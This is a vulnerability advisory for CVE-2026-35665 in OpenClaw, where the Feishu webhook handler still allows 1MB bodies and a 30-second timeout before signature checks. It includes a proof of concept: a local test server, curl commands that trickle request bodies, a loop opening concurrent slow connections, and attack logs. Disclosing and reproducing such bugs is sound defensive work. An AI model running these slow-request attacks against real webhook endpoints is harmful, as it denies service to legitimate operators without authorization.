openclaw
Affected
- introduced
0, fixed2026.3.24(semver)
Fixed versions
2026.3.24
Fix
- Fixed version
2026.3.24npm install [email protected]
Advisory
Also known as: CVE-2026-35665
OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)
> Fixed in OpenClaw 2026.3.24, the current shipping release.
Advisory Details
Title: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)
Description:
Summary
The patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the Feishu extension's webhook handler was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) before verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.
Details
In extensions/feishu/src/monitor.ts, the webhook HTTP handler uses installRequestBodyLimitGuard with permissive limits at lines 276-278:
const FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024; // 1MB (line 26)
const FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000; // 30s (line 27)
// ... in monitorWebhook(), line 276-278:
const guard = installRequestBodyLimitGuard(req, res, {
maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES, // 1MB
timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS, // 30s
responseFormat: "text",
});
The body guard is installed at line 276 before the request reaches the Lark SDK's adaptDefault webhook handler (line 284), which performs signature verification. This means:
The patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:
const PREAUTH_MAX_BODY_BYTES = 64 * 1024; // 64KB
const PREAUTH_BODY_TIMEOUT_MS = 5_000; // 5s
The Feishu extension was missed because it resides in extensions/feishu/ (a plugin workspace) rather than in the core src/ directory.
Attack chain:
[Attacker sends slow HTTP POST to /feishu/events]
→ Rate limit check: passes (under 120 req/min)
→ Content-Type check: application/json, passes
→ installRequestBodyLimitGuard(1MB, 30s): installed
→ Body trickles at 1 byte/sec for 30 seconds
→ × 50 concurrent connections = connection exhaustion
→ Legitimate Feishu webhook deliveries blocked
PoC
Prerequisites: Docker installed.
Step 1: Create a minimal test server reproducing the vulnerable body parsing:
cat > /tmp/feishu_webhook_server.js << 'EOF'
const http = require("http");
const VULN_TIMEOUT = 30_000; // Vulnerable: 30s (same as Feishu handler)
const PATCH_TIMEOUT = 5_000; // Patched: 5s (what it should be)
function bodyGuard(req, res, timeoutMs) {
let done = false;
const timer = setTimeout(() => {
if (!done) { done = true; res.statusCode = 408; res.end("Request body timeout"); req.destroy(); }
}, timeoutMs);
req.on("end", () => { done = true; clearTimeout(timer); });
req.on("close", () => { done = true; clearTimeout(timer); });
}
http.createServer((req, res) => {
if (req.url === "/healthz") { res.end("OK"); return; }
if (req.method !== "POST") { res.writeHead(405); res.end(); return; }
const timeout = req.url === "/feishu/events" ? VULN_TIMEOUT : PATCH_TIMEOUT;
console.log(`[${req.url}] +conn`);
bodyGuard(req, res, timeout);
res.on("finish", () => console.log(`[${req.url}] -conn`));
}).listen(3000, () => console.log("Listening on :3000"));
EOF
node /tmp/feishu_webhook_server.js &
sleep 1
Step 2: Verify the vulnerability — slow body holds connection for the full timeout:
# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
curl -s -o /dev/null -w "status: %{http_code}\n" \
-X POST http://localhost:3000/feishu/events \
-H "Content-Type: application/json" \
-H "Content-Length: 65536" \
--data-binary @- --max-time 35
# Patched endpoint: connection terminated after ~5s
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
curl -s -o /dev/null -w "status: %{http_code}\n" \
-X POST http://localhost:3000/patched/events \
-H "Content-Type: application/json" \
-H "Content-Length: 65536" \
--data-binary @- --max-time 35
Step 3: Batch exploit — 10 concurrent slow connections:
for i in $(seq 1 10); do
(echo -n 'A'; sleep 15) | \
curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \
-H "Content-Type: application/json" \
-H "Content-Length: 65536" \
--data-binary @- --max-time 35 &
done
wait
Log of Evidence
Exploit result (vulnerable /feishu/events):
=== Feishu Webhook Pre-Auth Slow-Body DoS ===
Target: localhost:3000/feishu/events
Concurrent connections: 10
[conn-0] held open for 15.0s (15B sent) [SUCCESS]
[conn-1] held open for 15.0s (15B sent) [SUCCESS]
[conn-2] held open for 15.0s (15B sent) [SUCCESS]
[conn-3] held open for 15.0s (15B sent) [SUCCESS]
[conn-4] held open for 15.0s (15B sent) [SUCCESS]
[conn-5] held open for 15.0s (15B sent) [SUCCESS]
[conn-6] held open for 15.0s (15B sent) [SUCCESS]
[conn-7] held open for 15.0s (15B sent) [SUCCESS]
[conn-8] held open for 15.0s (15B sent) [SUCCESS]
[conn-9] held open for 15.0s (15B sent) [SUCCESS]
=== Results ===
Connections held open (SUCCESS): 10/10
[SUCCESS] Pre-auth slow-body DoS confirmed!
Control result (patched /patched/events with 5s timeout):
=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===
Target: localhost:3000/patched/events
[conn-0] RESET after 8.0s (8B)
[conn-1] RESET after 8.0s (8B)
...
[conn-9] RESET after 8.0s (8B)
Avg connection hold time: 8.0s (5s timeout + stagger delay)
Server-side Docker logs confirming the discrepancy:
[feishu-vulnerable] +conn (active: 1)
[feishu-vulnerable] +conn (active: 10) ← No disconnections during 15s attack
[patched-control] +conn (active: 20)
[patched-control] -conn after 5.0s (active: 19) ← ALL terminated at 5s
[patched-control] -conn after 5.0s (active: 10)
Impact
An unauthenticated attacker can cause a Denial of Service against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.
With ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can:
The attack is trivial — it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.
Affected products
Severity
Medium Basis: The source's own band: MODERATE
0, fixed 2026.3.24 (semver)2026.3.24
2026.3.24npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0